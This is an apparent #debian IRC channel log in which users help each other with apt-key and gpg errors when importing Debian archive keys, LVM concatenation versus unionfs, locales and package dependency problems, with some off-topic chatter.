| 20:58.00 | rysiek|pl | elshaa: use=web, web=checkip.dyndns.org/, web-skip='IP Address' # found after IP Address -> put this in your /etc/ddclient.conf and restart ddclient |
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| 20:58.10 | karsten | Muffin: "armor" creates an ascii armor (rather than binary ouput) of the key, export exports the key (to stdout), apt-key add adds the specified key, '-' specifies stdin. |
| 20:58.20 | rysiek|pl | xingu: and I don't have enough space to do it all at once |
| 20:58.24 | Muffin | Makes sense. But I still get "gpg: key 2D230C5F: no valid user IDs" |
| 20:58.35 | elshaa | rysiek|pl: cool, thanks |
| 20:58.41 | rysiek|pl | elshaa: nop, cheers |
| 20:59.14 | xingu | rysiek|pl: fair do; you get my drift though I think. |
| 20:59.19 | Cyis | would seem that apt-key needs it's own gpg.conf with the option enabled then |
| 20:59.37 | Muffin | Cyis: Indeed, but where would I put that gpg.conf? |
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| 20:59.45 | xingu | rysiek|pl: for you the final state is one suitably sized encrypted volume containing the two merged filesets |
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| 20:59.47 | rysiek|pl | xingu: yeah. got to check out "block layers", though |
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| 21:00.18 | rysiek|pl | xingu: problem is: it has to span on two devices anyway |
| 21:00.38 | xingu | rysiek|pl: a concatenation is just that |
| 21:01.00 | rysiek|pl | xingu: huh? I think I'm lost a bit now |
| 21:01.17 | Cyis | Muffin: again I'm not on my own Debian system (stuck at in-laws and forced to use Win98se) ... I'd imagine /etc/apt if that's where it is storing it's keyrings |
| 21:01.19 | protocol1 | is there a way to add a penguin boot logo for my machine? |
| 21:02.00 | Muffin | Yeah, I thought so to. So I copied /root/.gnupg/gpg.conf to /etc/apt and to /etc/apt/.gnupg (which I had created myself), which didn't help. |
| 21:02.10 | enouf | Muffin: please do everything as root (or su -) and not sudo .. I can't recall whether it matters or not , but atleast that factor is out of the way |
| 21:02.13 | xingu | rysiek|pl: a concatenation is the simplest logical volume type; it is literally a single logical block device assembled from multiple component pieces |
| 21:02.21 | xingu | rysiek|pl: with a single filesystem built on top. |
| 21:02.22 | Muffin | I have been, enouf. |
| 21:02.29 | abrotman | protocol1: framebuffer support |
| 21:02.29 | enouf | Muffin: ok .. good :-) |
| 21:02.32 | Muffin | =) |
| 21:02.50 | protocol1 | ?? |
| 21:02.52 | xingu | rysiek|pl: the advantage being, depending on lvm and filesystem, you can grow them by adding more on the end as needs must |
| 21:03.35 | xingu | rysiek|pl: the disadvantage being the multiplying of probabilities of individual component failure |
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| 21:03.59 | abrotman | xingu: lvm on swraid! |
| 21:04.05 | enouf | Muffin: I've got no /root/.gnupg anything here .. |
| 21:04.21 | Cyis | smells like someone is a maschocist |
| 21:04.29 | enouf | !sado- |
| 21:04.30 | Muffin | enouf: Running gpg --recv-keys as root puts them into /root/.gnupg/ |
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| 21:04.58 | Muffin | ...but then I'm to export them into "apt-key add -", which is having the problem. |
| 21:05.11 | enouf | Muffin: you would think .. but wondering why it didn't in mine .. maybe I ran as sudo all the time :-o |
| 21:05.12 | sanmarcos | localhost kernel: [17205251.252000] NETDEV WATCHDOG: eth1: transmit timed out what does this mean? |
| 21:05.28 | Muffin | enouf: Do you have ~/.gnupg/ for the user who runs sudo? |
| 21:06.10 | enouf | Muffin: yes .. I have ~/.gunpg and the gpg.conf inside that |
| 21:06.19 | enouf | er .gnupg |
| 21:07.00 | Muffin | Yeah, because you run gpg as that user, but with root permissions. Heh. |
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| 21:07.24 | Muffin | But now that I'm running everything as root, it ought to be accessing some gpg.conf file from SOMEwhere... |
| 21:07.36 | abrotman | sanmarcos: a packet failed to go |
| 21:07.40 | enouf | Muffin: try the whole string again using the /msg dpkg 2006 key output .. maybe try apt-get update && apt-get upgrade? (or dist-upgrade?) .. let tohers chime in aqbout that though |
| 21:07.41 | abrotman | i'd guess anyways |
| 21:07.51 | sanmarcos | abrotman: my fault or the routers'? |
| 21:08.04 | abrotman | sanmarcos: that's for you to determine .. it's just telling you that it didn't go |
| 21:08.05 | Muffin | enouf: apt-get upgrade fails because it tries and fails to install debian-archive-keyring. =) |
| 21:08.11 | abrotman | sanmarcos: could be a bad cable too |
| 21:08.24 | enouf | Muffin: IIRC .. I had an issue untill I passed the 'whole' string in the command (again, IIRC, it was only the non-official repos) .. but whatever |
| 21:08.27 | Cyis | I'm off |
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| 21:08.37 | enouf | Muffin: not looking oo good :-( |
| 21:08.40 | enouf | too |
| 21:08.43 | aidan | can I find out what configuration files are purged when I do a dpkg -P? |
| 21:08.52 | abrotman | aidan: you talked! |
| 21:08.55 | _JusSx_ | merry xmas |
| 21:09.16 | enouf | Muffin: perhaps aptitude cxan resolve some dependencies? .. do you happen to have any pkgs on --hold? |
| 21:09.30 | abrotman | Muffin: what's the error you're getting ? |
| 21:09.31 | aidan | abrotman: surely I'm not that scarce? :) |
| 21:09.32 | Muffin | enouf: ...right. Running the /msg dpkg 2006 key output produces the same error: "gpg: key 2D230C5F: no valid user IDs" ...when I do gpg --export | apt-key add. |
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| 21:09.43 | abrotman | !etch key |
| 21:09.43 | dpkg | # apt-get install debian-archive-keyring |
| 21:09.58 | enouf | Muffin: you need the '-' at the end .. |
| 21:10.11 | Muffin | enouf: The - was there, but it didn't paste. |
| 21:10.22 | enouf | Muffin: ok |
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| 21:10.38 | Muffin | abrotman: "no valid userIDs" is the error. |
| 21:10.58 | abrotman | when you do apt-key stuff .. or apt-get ? |
| 21:11.11 | abrotman | aidan: i'd guess in the control file |
| 21:11.16 | Muffin | apt-key stuff. |
| 21:11.43 | abrotman | aidan: better still .... /var/lib/dpkg/info/*.conffiles |
| 21:12.01 | abrotman | Muffin: whoami ? |
| 21:12.53 | Muffin | root. |
| 21:13.10 | abrotman | apt-key list .. say anything ? |
| 21:13.14 | enouf | Muffin: ~$ stat ~/.gnupg == 0700 and uid/gid=1000 | ~$ stat ~/.gnupg/gpg.conf == 0600 and uid/gid=1000 | stat /etc/apt/trusted.gpg == 0644 and uid/gid=0 (root) |
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| 21:14.07 | Muffin | abrotman: Ooh, new error! "gpg: [don't know]: invalid packet (ctb=01)" and "gpg: keydb_search_first failed: invalid packet" |
| 21:15.17 | enouf | :-) |
| 21:15.19 | abrotman | so eat them |
| 21:15.23 | Muffin | umask is 0022. |
| 21:15.23 | obstfliege | nabend |
| 21:16.04 | Muffin | But /etc/apt is mode 600. |
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| 21:16.34 | abrotman | afaik .. it stores keys in /root/.gnupg/ |
| 21:16.48 | abrotman | or not ... |
| 21:16.54 | rysiek|pl | xingu: in other words: I have to have a clean disk device to start such a concatenation, and then every single disk I'd like to add to id would need to be clean as well, as the filesystem is being set up on the whole concatenation, not on individual volumes, right? |
| 21:16.55 | Muffin | apt-key does? |
| 21:17.01 | enouf | ~$ stat /etc/apt == 0755 |
| 21:17.06 | k-man | how can i monitor the cpu temperature on my linux box? |
| 21:17.11 | xingu | rysiek|pl: nope, it can work on partitions... |
| 21:17.12 | Muffin | Yours is, enouf? gpg complained earlier. |
| 21:17.13 | abrotman | Muffin: you oculd move the files out of the way .. and reimport the keys |
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| 21:17.21 | enouf | Muffin: yep |
| 21:17.24 | Muffin | abrotman: Which keys? |
| 21:17.34 | rysiek|pl | xingu: m'kay, but filesystem-less partitions |
| 21:17.48 | abrotman | Muffin: the ones in /etc/apt/ ? |
| 21:17.55 | xingu | rysiek|pl: but yes, the pre-existing contents of each slice/partition are lost as it is added and the filesystem built atop extended. |
| 21:17.56 | Muffin | Ah, ok. |
| 21:17.59 | enouf | ~$ stat /etc/apt/sources.list \\ 0644 |
| 21:18.20 | enouf | both have uid/gid = 0 though |
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| 21:18.39 | spyro_boy | hello |
| 21:18.44 | tonyb2006 | whats with the #debian-overflow thingy |
| 21:18.46 | aidan | man backports.org is fucked. |
| 21:18.53 | abrotman | why? |
| 21:18.54 | xingu | rysiek|pl: there's probably a special-case if the linux lvm-de-jour is sane; you can probably encapsulate an existing partition without losing the contents - as the first piece in the concat. |
| 21:18.57 | Muffin | enouf: Likely because you run under sudo... |
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| 21:19.03 | tonyb2006 | !tell me about overflow |
| 21:19.05 | abrotman | tonyb2006: too many people joined in a certain amount of time |
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| 21:19.09 | spyro_boy | tonyb2006, bastard |
| 21:19.12 | tonyb2006 | abrotman: k :D |
| 21:19.14 | tonyb2006 | spyro_boy: SLACKEYT |
| 21:19.16 | spyro_boy | tonyb2006, is anyone here going to listen? |
| 21:19.16 | blondie | tonyb2006: it's an evil thing imposed by that evil bot debhelper! |
| 21:19.18 | rysiek|pl | xingu: ah, ok. is there a way of doing a block layer that utilises already existing partitions WITH their existing filesystems? |
| 21:19.19 | xingu | rysiek|pl: the on-disk structure of a standalone fs and a fs built on top of a single-member concat should be identical |
| 21:19.28 | sgeigerb` | How can I query IRQs to find out if certain hardware is working? |
| 21:19.30 | enouf | Muffin: perhaps .. but you said you copied from /root into ~/ earlier .. no? |
| 21:19.33 | spyro_boy | fuck it |
| 21:19.34 | Muffin | abrotman: I re-imported them using --homedir /etc/apt, though apt-key update still fails. |
| 21:19.35 | rysiek|pl | xingu: yeah, I get that |
| 21:19.36 | spyro_boy | I'm leaving |
| 21:19.42 | Muffin | Yeah, I did. Then I undid it. |
| 21:19.52 | enouf | Muffin: updatedb |
| 21:19.54 | tonyb2006 | spyro_boy: explain your problem or die. |
| 21:19.57 | xingu | rysiek|pl: no, that's a layering violation amongst other issues; block layer is under logical volume management is under filesystem. |
| 21:20.01 | spyro_boy | tonyb2006, nobody is going to listen |
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| 21:20.05 | abrotman | tonyb2006: spyro_boy: do you guys have a problem? |
| 21:20.10 | tonyb2006 | see! |
| 21:20.14 | enouf | Muffin: just for the ehk of it .. |
| 21:20.14 | aidan | abrotman: it's just broken ... half of the things don't work. php5-mysql segfaults, php-pear depends on php5-common 5.2.0 which doesn't exist in backports.org |
| 21:20.19 | enouf | heck* |
| 21:20.24 | spyro_boy | abrotman, I do |
| 21:20.28 | Muffin | updatedb is now running. How long would that usually take? |
| 21:20.32 | abrotman | spyro_boy: with debian ? |
| 21:20.34 | spyro_boy | abrotman, have you ever compiled an SMP kernel? |
| 21:20.35 | abrotman | Muffin: depends |
| 21:20.40 | enouf | 1-5 min |
| 21:20.47 | abrotman | spyro_boy: yes .. which version of debian are you on ? |
| 21:20.49 | aidan | Muffin: takes a couple of seconds on my new server, but on a slower computer it can take a long time |
| 21:20.58 | spyro_boy | abrotman, it's not with debian |
| 21:20.59 | rysiek|pl | xingu: point is I think I would prefer to have each volume have it's own separate filesystem - just in case one of the disks goes buh-bye, for one |
| 21:21.04 | abrotman | spyro_boy: then ask ##kernel |
| 21:21.06 | xingu | rysiek|pl: the lvm knows nothing of the filesystem layer unless you mix in complex/fragile hacks like building lvm components on top of loop devices |
| 21:21.10 | Muffin | It's a sloowwwwww computer. |
| 21:21.10 | spyro_boy | I see. |
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| 21:21.16 | tonyb2006 | ##Kernel..i diddn't even think of thatr |
| 21:21.30 | abrotman | of course not .. let's just go straight to #debian with OT questions :) |
| 21:21.37 | xingu | rysiek|pl: the correct answer to avoiding the multiplication of defect probabilities is to use mirroring. :) |
| 21:21.45 | tonyb2006 | I use debian!! |
| 21:21.45 | aidan | how do I find out what other installed packages depend on an installed package? |
| 21:22.00 | abrotman | aidan: apt-cache |
| 21:22.14 | abrotman | aidan: did you read all the instructions ? |
| 21:22.14 | Mark_Iron | good evening :) |
| 21:22.21 | Muffin | OK, updatedb is run. |
| 21:22.21 | xingu | rysiek|pl: the probability of a defect is actually worse with the two filesystem approach; because you also have to consider the probability of the filesystem itself going nutty. |
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| 21:22.42 | xingu | rysiek|pl: and your success case with a two-piece set is (working x !failed) |
| 21:22.56 | Muffin | ...but the errors are still there. |
| 21:23.05 | rysiek|pl | xingu: no, I ment having two disks with a single mountpoint through unionfs |
| 21:23.12 | Mark_Iron | one Question: .. what is the value of DEBSIGN_KEYID= in /etc/devscripts.conf ) ... the uid line of gpg -k ? ... thank you in advance :) |
| 21:23.15 | xingu | rysiek|pl: I understand exactly what you mean. :) |
| 21:23.16 | pumpkin0 | xingu: what is he up to ? the most fragile setup ever ? |
| 21:23.31 | abrotman | Mark_Iron: ask #debian-mentors |
| 21:23.34 | Muffin | Still can't apt-key update or apt-key add the relevant keyes. |
| 21:23.50 | Mark_Iron | thank you abrotman .. |
| 21:23.56 | xingu | rysiek|pl: and believe me, if either filesystem fails indepenedant of what is happening at the physical layer, you'll have a problem even if the filesystems are independant, and merged with unionfs |
| 21:24.20 | Mark_Iron | czesc rysiek|pl ;-) .. wesolych swiat! |
| 21:24.29 | rysiek|pl | xingu: well, yeah, the data on the b0rked device will go buh-bye |
| 21:24.34 | abrotman | i'd probably reinstall apt-key and debian-archive-keyring |
| 21:24.47 | rysiek|pl | Mark_Iron: noi mnie wydal, bydlak:P wesolych swiat ;) |
| 21:24.56 | enouf | Muffin: try apt-get --reinstall install debian-keyring-archive |
| 21:25.04 | xingu | rysiek|pl: exactly; but that can now happen as an end-state of two failure modes - filesystem failure, or, spindle failure. |
| 21:25.06 | rysiek|pl | xingu: but the data on other devices will be safe |
| 21:25.18 | Mark_Iron | *g* @ rysiek|pl |
| 21:25.37 | xingu | rysiek|pl: with a concat, it can still happen with those two failure modes - but there are fewer filesystems, so the combined probability is lower. |
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| 21:26.06 | enouf | Muffin: is this "keyserver hkp://subkeys.pgp.net" the only line in ~/.gnupg/gpg.conf that's uncommented? |
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| 21:26.22 | enouf | Muffin: or in your /root dir? |
| 21:26.44 | siloe | Hello. What command to view size cluster,type (FAT16/FAT32) one partition |
| 21:26.46 | xingu | rysiek|pl: concats tend to survive catastrophic lvm-level events reasonably well; as it turns out, each component tends to carry an isolated piece of the filesystem, complete with superblock backups |
| 21:26.50 | rysiek|pl | xingu: I didn't quite get what you ment by "spindle" |
| 21:26.52 | Muffin | enouf: No, I added the allow-non-selfsigned-uid to the options file, which allows me to save the keys using gpg --recv-keys. |
| 21:27.03 | Muffin | This is in ~root/.gnupg because I'm running these commands as root. |
| 21:27.10 | pumpkin0 | rysiek|pl: spindle = hardware |
| 21:27.11 | xingu | rysiek|pl: with determination you can in fact recover them as part-fs's although the methodology varies with filesystem type and lvm |
| 21:27.19 | rysiek|pl | pumpkin0: thanks |
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| 21:27.27 | Muffin | apt-get install debian-archive-keyring is still not working...the part that fails is the apt-key update command in the postinst file. |
| 21:27.33 | Muffin | So it's really apt-key update that I need to fix. |
| 21:27.42 | Din | hi, how can i change langugae in cosole of debian |
| 21:27.58 | xingu | rysiek|pl: but anyway, this is partly experience and partly over-engineering for robustness on my end; use unionfs, merge the fs's, and be happy. |
| 21:28.06 | tonyb2006 | does anyone see a valid reason why a 2.6 series kernel would show a BLACK screen instead of all its bootup text ONLY WHEN COMPILED with SMP enabled when using a Dual Core Athlon 64 X2 in socket AM2 with an nForce 5 chipset! |
| 21:28.08 | rysiek|pl | xingu: ok, but if I mount a few devices in a single dir with help of unionfs, if device A fails, only device A's files will be affected |
| 21:28.18 | abrotman | Muffin: what's the error on apt-get install ? |
| 21:28.25 | xingu | rysiek|pl: but be aware that what you really want are mirrored disks if you want robustness. |
| 21:28.31 | abrotman | tonyb2006: it's not a debian system :) |
| 21:28.34 | enouf | Muffin: no such entry commented/uncommented in my file |
| 21:28.36 | abrotman | tonyb2006: and stop using framebuffer |
| 21:28.45 | Din | how can i change lanuage of debian |
| 21:28.50 | xingu | rysiek|pl: yep; but the goal should be - no single failure will lose any files |
| 21:28.52 | Din | language |
| 21:28.53 | abrotman | dpkg-reconfigure locales |
| 21:28.58 | tonyb2006 | abrotman: tried the second one, but he refuses to go all debianey |
| 21:29.01 | rysiek|pl | xingu: about mirroring: I am not talking about my job server (4 disks in RAID, mirrored). I am talking about my lil' home server (decade-old celeron 333) for which I just am not ABLE to put any more volumes |
| 21:29.05 | streuner | xingu: What does 'dpkg -l libc6 | tail -1' say? |
| 21:29.07 | enouf | Muffin: ~$ cat ~/.gnupg/gpg.conf | grep allow |
| 21:29.07 | enouf | # In the example, this option allows you to read your local copy of |
| 21:29.12 | enouf | is all that's there |
| 21:29.15 | rysiek|pl | *in |
| 21:29.18 | abrotman | tonyb2006: really .. ask ##kernel .. they should know more .. otherwise .. ask the channel for his distro .. or use the kernel they provide |
| 21:29.19 | Muffin | abrotman: dpkg: error processing debian-archive-keyring (--install): \n subprocess post-installation script returned error exit status 2 \n Errors were encountered while processing: debian-archive-keyring |
| 21:29.20 | streuner | Din: What does 'dpkg -l libc6 | tail -1' say? |
| 21:29.29 | abrotman | Muffin: see .. that's important |
| 21:29.30 | abrotman | !paster |
| 21:29.30 | dpkg | paster is your friendly Debian pastebot. Visit http://channels.debian.net/paste to have paster paste your results. Ask me about <pastebin> if you want to use another site. |
| 21:29.37 | abrotman | Muffin: paste the whole thing |
| 21:29.40 | tonyb2006 | abrotman: they are idle, and ##slackware isn't helping all that much |
| 21:29.41 | Muffin | enouf: I'm allowing non-selfsigned-uid's. |
| 21:29.44 | abrotman | tonyb2006: stop asking us via proxy :) |
| 21:29.55 | Din | it say ii libc6 2.3.6.ds1-8 GNU C Library: Shared libraries |
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| 21:30.01 | enouf | Muffin: ok .. beyond my scope for now :-) |
| 21:30.02 | Muffin | Paste into a /msg, abrotman? |
| 21:30.06 | abrotman | tonyb2006: then he'll have to ask ##linux or ##kernel .. i haven't used slack in years |
| 21:30.10 | streuner | Din: so listen to abrotman |
| 21:30.11 | abrotman | !paster |
| 21:30.11 | dpkg | paster is your friendly Debian pastebot. Visit http://channels.debian.net/paste to have paster paste your results. Ask me about <pastebin> if you want to use another site. |
| 21:30.14 | abrotman | Muffin: ^^ |
| 21:30.15 | tonyb2006 | i've never used slack :\ |
| 21:30.21 | xingu | rysiek|pl: fair enough; there's an interesting new development going on at the moment, raif - redundant array of inexpensive files; the basic idea is to ask the filesystem to store each file on multiple disks in a set |
| 21:30.30 | enouf | karsten: you srill following ? |
| 21:30.31 | abrotman | tonyb2006: okay .. then let him solve his own problems |
| 21:30.34 | Din | ok |
| 21:30.37 | enouf | still * |
| 21:30.42 | abrotman | tonyb2006: or give him a debian install CD |
| 21:30.44 | Muffin | abrotman: Right on. http://channels.debian.net/paste/4901 |
| 21:30.47 | tonyb2006 | abrotman: meh, w/e |
| 21:30.54 | aidan | apt-cache showpkg libmysqlclient14 |
| 21:31.16 | abrotman | Muffin: yeah .. that's a tad broken :) |
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| 21:31.29 | xingu | rysiek|pl: but anyway; good luck with unionfs, it's probably the best fit for your stated goal - to merge two fs's under a single mountpoint. |
| 21:31.33 | Din | but where can users select which language will they use |
| 21:31.37 | aidan | that shows there's a 4.1.11a-4sarge7 version available. |
| 21:31.47 | Muffin | abrotman: Yes...the trouble is apt-key update not processing keys w/o self-signatures. |
| 21:31.57 | aidan | how can I forcibly install it (overwriting the installed newer version) |
| 21:31.57 | Muffin | Or not recognizing the self-signatures... |
| 21:32.12 | Muffin | adian: dpkg -i the .deb file |
| 21:32.21 | rysiek|pl | xingu: considering all the info you gave me - and abilities of the available hardware - yeah, I think |
| 21:32.32 | siloe | Hello. What command to view size cluster,type (FAT16/FAT32) one partition |
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| 21:33.36 | rysiek|pl | xingu: thanks a lot for help, if you happen to be in Warsaw some day, just drop me a line (I'm usually on #ubuntu and #ubuntu-pl) and you'll get yourself a guide and a cold, free beer ;) |
| 21:33.42 | abrotman | Muffin: and trying to import manaually doesn't work either ? |
| 21:34.10 | streuner | Din: $LANG in ~/.profile or such |
| 21:34.24 | kspath | abrotman: happy holiday? |
| 21:34.29 | enouf | Muffin: does the output of ~$ cat ~/.gnupg/gpg.conf | grep allow and ~$ cat /root/.gnupg/gpg.conf | grep allow show the same results? |
| 21:34.36 | kspath | abrotman, or more like holidaze? |
| 21:34.39 | abrotman | kspath: i'm supposed to be in denver :) |
| 21:34.47 | Muffin | abrotman: Using gpg export | apt-key add - does not work. |
| 21:34.55 | kspath | abrotman, all the cool kids are there? |
| 21:35.01 | Muffin | I can import the keys using gpg, but then I have to send them to apt-key somehow. |
| 21:35.04 | abrotman | no .. part of my family is :) |
| 21:35.16 | Muffin | enouf: ~ is root, so they're the same file. |
| 21:35.20 | abrotman | !apt-key 6070D3A1 |
| 21:35.20 | dpkg | gpg --keyserver subkeys.pgp.net --recv-keys 6070D3A1 ; gpg --export 6070D3A1 | sudo apt-key add -; |
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| 21:35.34 | enouf | Muffin: you ee my point? .. running as root gices you all new entries/config in /root (as you know) .. so my settings from here on don;t seem to matter much when comparing |
| 21:35.57 | enouf | Muffin: ~ implies User |
| 21:36.13 | tuv | aptitude is getting very buggy |
| 21:36.20 | abrotman | ~ implies $HOME |
| 21:36.22 | Muffin | abrotman: Right, but the second part, apt-key add -, fails because it claims "key 6070D3A1: no valid user IDs" |
| 21:36.24 | enouf | Muffin: # is root (unless you change your Prompt I suppise) |
| 21:36.30 | abrotman | tuv: it is ? |
| 21:36.32 | enouf | doh! |
| 21:36.36 | enouf | that's what I mean |
| 21:36.38 | Muffin | enouf: ...right. I'm root while running all of these commands... |
| 21:36.41 | tuv | abrotman, segfaults all the time |
| 21:36.42 | abrotman | enouf: # is like $ .. ~ is $HOME |
| 21:36.48 | kspath | tuv, in what way is aptitude getting buggy for you on sarge? or etch? or sid? |
| 21:36.49 | enouf | but ~ is never root .. is it? |
| 21:36.54 | Muffin | And for root, $HOME is /root. |
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| 21:37.01 | tuv | kspath, etch |
| 21:37.04 | abrotman | mycomp:~# |
| 21:37.05 | enouf | bah .. |
| 21:37.08 | abrotman | enouf: like that ? |
| 21:37.12 | tuv | kspath, frequent segfaults |
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| 21:37.16 | enouf | !confuse me |
| 21:37.16 | dpkg | Yes, them was your weasel tomorrow, enouf? pants of the democracy of micronesia with extra anchovies |
| 21:37.39 | aidan | http://packages.debian.org/cgi-bin/download.pl?arch=amd64&file=pool%2Fupdates%2Fmain%2Fm%2Fmysql-dfsg-4.1%2Flibmysqlclient14_4.1.11a-4sarge7_amd64.deb&md5sum=613001b313f49f98b3642fdbb1cefd47&arch=amd64&type=unofficial |
| 21:37.40 | abrotman | Muffin: do you use keys for anything else ? |
| 21:37.40 | enouf | I know all this .. just confused atm .. braincells are busy elsewhere :-P |
| 21:37.44 | aidan | every single link is a 404! |
| 21:37.59 | abrotman | aidan: packages.d.o might be out of date |
| 21:38.07 | tuv | abrotman, kspath and sometimes it just hangs doing nothing visible with 100% cpu |
| 21:38.11 | abrotman | the solution is to avoid mysql :) |
| 21:38.47 | Muffin | abrotman: No. |
| 21:38.59 | Muffin | enouf: :) |
| 21:39.16 | enouf | ... hehe |
| 21:39.17 | abrotman | Muffin: delete all the .gnupg folders you find . and the keys in /etc/apt/ and see if it makes a difference |
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| 21:40.50 | abrotman | Muffin: or move them .. instead of deleting |
| 21:41.05 | Muffin | abrotman: Done...trying again produces the results at http://channels.debian.net/paste/4902 |
| 21:41.11 | kspath | abrotman, .old them all? |
| 21:41.39 | Muffin | ...which are basically the same problem. I have to tell gpg directly to allow the non-self-signed keys to be imported...which I can do in the gpg.conf file. However, I can't find the effective gpg.conf file which apt-key uses. |
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| 21:42.45 | abrotman | Muffin: i asked #gnupg |
| 21:43.01 | enouf | Muffin: dpkg -l apt | tail -1 says what? |
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| 21:45.07 | Muffin | enouf: Says "iF apt 0.6.46.4 Advanced front-end for dpkg" |
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| 21:45.21 | abrotman | iF is bad |
| 21:45.31 | abrotman | dpkg --configure -a |
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| 21:47.49 | Muffin | The problem is that debian-archive-keyring won't install, so dpkg --configure -a gets angry when I try to reinstall apt. |
| 21:47.51 | tuv | abrotman, actually apt-get segfaults sometimes too on this nslu2, so i'm not sure if it's aptitude's fault. but aptitude looks more fragile |
| 21:47.54 | enouf | Muffin: try this perhaps after all else b0rkZ --> gpg --keyserver hkp://subkeys.pgp.net --recv-keys <keyID>; gpg --armor --export <keyID> | sudo apt-key add - |
| 21:48.06 | abrotman | tuv: sounds like the whole box is flaky :) |
| 21:48.13 | enouf | Muffin: return as a reegular User .. |
| 21:48.13 | abrotman | tuv: can you .. uh .. run memtest on it ? |
| 21:48.29 | tuv | abrotman, i don't know |
| 21:48.36 | Muffin | enouf: That doesn't work, apt-key add - fails because it views the keys as unsigned... |
| 21:48.40 | Muffin | Return as a regular user? |
| 21:48.49 | enouf | Muffin: well comment out the non-signed line |
| 21:48.53 | tuv | abrotman, but i have a number of other services running on it without any problems |
| 21:49.02 | abrotman | tuv: like that matters |
| 21:49.05 | enouf | Muffin: yes .. become a regular user and try again |
| 21:49.12 | Muffin | Which line? The one in .gnupg? It doesn't matter... |
| 21:49.13 | tuv | abrotman, fetchmail, dovecot, cups...etc |
| 21:49.24 | abrotman | tuv: try memtest :) |
| 21:49.25 | tuv | abrotman, if it's a memory problem, it would affect everything |
| 21:49.26 | enouf | Muffin: ok .. if you say so .. |
| 21:49.49 | Muffin | I'll try it as a regular user, though. |
| 21:49.54 | abrotman | tuv: maybe .. maybe not |
| 21:50.13 | enouf | Muffin: it would seem "allow non-signed" means just that .. hence .. views the jeys as unsigned |
| 21:50.56 | enouf | Muffin: but I'm growing weary from all this .. so maybe it's brainfart time again :-P |
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| 21:53.11 | Muffin | Yeah, I'm growing of it too. :-\ It's unfortunate. But allow non-signed means that gpg should not require packages to be signed...which fixes the symptom. |
| 21:53.30 | Muffin | The real problem, likely, is that for some reason gpg is viewing these keys as unsigned...don't know why that would be. |
| 21:53.38 | enouf | Muffin: teh iF indicates a failed config .. dpkg-reconfigure apt ? ,, er apt-key? dunno |
| 21:53.43 | karsten | Muffin: Aye, that's what's confusing me. |
| 21:53.50 | Thms | I get hde: lost interrupt when I boot on debian etch, how to do ? |
| 21:53.56 | karsten | Muffin: gpg --list-sigs <keyid> should show the signatures. |
| 21:54.02 | karsten | Muffin: Danke. |
| 21:54.08 | karsten | Desktop crashed. |
| 21:54.12 | karsten | Well, laptop. |
| 21:54.23 | Muffin | enouf: The iF is from when I was --reinstalling apt. But I can't install apt, because it depends on debian-archive-keyring. |
| 21:54.32 | enouf | craptop takes a dump .. news at 11 |
| 21:54.41 | tuv | abrotman, do you still think i should report the nfs bug? :) |
| 21:54.45 | enouf | Muffin: circular problem :-) |
| 21:54.53 | enouf | catch22 even |
| 21:54.55 | abrotman | tuv: depends on whether or not the memtest turns up something |
| 21:55.28 | tuv | abrotman, i'm unaware of any means of running memtest on nslu2. i don't exactly get a boot menu |
| 21:55.40 | Muffin | enouf: Well, yeah, but I'm using the latest version of apt. It's the postinst script that's failing, but everything got installed already. |
| 21:55.51 | n3kl_ | I have the iscsi target listening on a machine. Do I need to set up an initiator on the same machine? Or is the initiator only the client portion of iscsi |
| 21:55.52 | Muffin | gpg --list-sigs for the relevant keys all have a bunc hof [User ID not found] issues. |
| 21:55.55 | n3kl_ | ? |
| 21:55.55 | enouf | Muffin: you said you hadn't upgraded in abpout a year .. did you do "dist-upgrade" when you tried? |
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| 21:55.57 | abrotman | tuv: wait ..it's called memtest86 isn't it .. hrm |
| 21:56.11 | tuv | abrotman, that's what i was about to say too |
| 21:56.26 | enouf | Muffin: maybe place an 'exit 0' at the top of the .postinst that';s failing |
| 21:56.40 | tuv | abrotman, there is 'memtester' according to nslu2's apt-cache though |
| 21:56.52 | abrotman | sometthing called stress |
| 21:56.59 | abrotman | tuv: try it! |
| 21:57.17 | Muffin | How do I edit the .postinst file of a .deb? |
| 21:58.44 | abrotman | /var/lib/dpkg/info/ |
| 21:58.49 | enouf | Muffin: wonder if confmiss would help at all .. /msg dpkg confmiss .. erm about the .postinst .. you locate it in /var/../../.. and edit it (not the .deb file) |
| 21:59.06 | n3kl_ | !iscsi |
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| 21:59.13 | Thms | anyone is masturbating for now ? |
| 21:59.18 | enouf | forgot the exact path |
| 21:59.23 | Mark_Iron | Muffin: ar -x package.deb ... gunzip ... change postinst ... gzip ... ;o) |
| 21:59.32 | tuv | abrotman, i changed the mirror and now apt-get seems to be doing well. i installed three packages (three different apt-get runs) without problems. i had to run apt-get/aptitude more than 20 times using the old mirror (mirrors.kernel.org) |
| 22:00.19 | abrotman | nfs problem still remains |
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| 22:02.13 | Muffin | Hm, maybe it isn't in the .postinst. Grrr. |
| 22:02.36 | Mark_Iron | Muffin: maybe "alien -g -c package.deb" .. than edit postinst .... "debian/rules binary" gives you modified package |
| 22:02.58 | Mark_Iron | Muffin: you have to look .. |
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| 22:04.38 | Muffin | Installing alien... |
| 22:05.08 | itchi | Muffin: Want you just to extract that deb file? |
| 22:05.39 | Muffin | Yeah, I want to extract the deb file, edit the postinst, and then make it into a .deb again to install. |
| 22:05.48 | itchi | Muffin: You should use ar instead |
| 22:06.31 | itchi | Muffin: Extract the stuff with ar; modify what you need; put changes files again in the deb with ar |
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| 22:06.59 | itchi | Muffin: Is much easier |
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| 22:08.00 | Muffin | OK, so ar -x apt...deb, now what? Where did it expand to? |
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| 22:09.31 | enouf | Muffin: do you have a /var/lib/dpkg/info/debian-archive-keyring.postinst <--that's the file I presume |
| 22:09.32 | gnudo | ryanair's website is down!! did anyone took justice in their own hands? |
| 22:09.36 | tuv | abrotman, hmm.. i just copied a file over nfs without a problem.. checking md5.. |
| 22:09.59 | Muffin | enouf: Yes, it just runs apt-key update. |
| 22:10.10 | abrotman | tuv: weird indeed! |
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| 22:11.31 | enouf | Muffin: but since apt is borked too .. maybe mkdir /var/lib/apt/lists/oldlists ; mv /var/lib/apt/lists/ /var/lib/apt/lists/oldlists ; try again |
| 22:12.44 | Muffin | So now I just need to actually run apt-key update, which is still failing. |
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| 22:13.03 | tuv | but i have to say, nfs is way faster than samba.. like samba is 35% as fast as nfs |
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| 22:13.36 | unseensoul | hi |
| 22:13.38 | Muffin | enouf: You want me to move a folder into a folder it contains? |
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| 22:13.50 | Muffin | Oh, I get it. |
| 22:14.03 | enouf | NO .. just move it out of the way |
| 22:14.11 | Muffin | OK. Then do what? Apt-key update/ |
| 22:14.23 | Muffin | Or reinstall apt? |
| 22:14.24 | enouf | Muffin: teah .. or reinstall apt or whatever' |
